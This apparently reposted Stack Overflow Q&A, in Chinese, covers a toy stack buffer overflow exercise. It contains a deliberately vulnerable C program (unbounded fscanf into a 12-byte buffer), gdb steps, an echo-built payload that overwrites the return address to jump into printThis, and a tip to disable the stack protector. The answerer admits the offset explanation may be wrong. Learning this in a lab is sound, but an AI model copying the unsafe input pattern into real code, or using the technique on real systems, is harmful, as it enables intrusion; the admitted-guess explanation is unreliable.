gpt4 book ai didi

c - 利用缓冲区漏洞时从单独的函数返回地址

转载 作者:太空宇宙 更新时间:2023-11-04 08:28:07 24 4
gpt4 key购买 nike

我必须使用一串 shell 操作代码来利用下面代码中的缓冲区漏洞。我几乎看到了 Google 提出的所有建议,但由于功能分离,这个特殊问题让我感到困惑。

void printThis(){
if(printf("You did it 1!") >=0) exit(0);
if(printf("You did it 2!") >=0) exit(0);
if(printf("You did it 3!") >=0) exit(0);
}

void readIn(FILE *f){
char exploit[12];
int i;

fscanf(f, "%s", exploit);

for( i = 0; i < 12; i++){
printf("%c", exploit[i]);
}

printf("\"\n");

}

int main(int argc, char** argv){
FILE *fp;
fp = fopen(argv[1], "r");

readIn(fp);
fclose(fp);
printf("You suck at exploiting. I should not be printed.");

}

我很好奇如何使用 printThis() 中语句的返回地址溢出 readIn() 中的缓冲区,因为它们使用不同的堆栈。直觉告诉我们,跳转到 print 上的电话会起作用,但我没能让它起作用。

对于在 GDB 中获取有效负载所需的信息,有什么建议吗?感谢您的帮助!

最佳答案

启动每个人最喜欢的调试器:

$ gdb myprog

反汇编printThis:

$ disassemble printThis

获取您要调用的指令的地址,在我的例子中是 0x0000000000400758。创建一个输入文件并放入12个字符填充exploit,另外12个NUL字节,然后是你想要的返回地址:

$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt

(注意字节与我们实际想要的相反)。使用输入文件运行测试:

$ ./myprog input.txtabcdabcdabcd"You did it 3!

相信 12 个 NUL 字节覆盖了 if(4 字节 int,x86_64 上的 8 字节指针),但我也不知道我在做什么或在说什么,所以这个解释可能完全是假的。

此外,我必须像这样编译 myprog:

$ gcc -fno-stack-protector -g myprog.c -o myprog

否则我会遇到堆栈粉碎检测崩溃而不是所需的输出。

关于c - 利用缓冲区漏洞时从单独的函数返回地址,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29498914/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com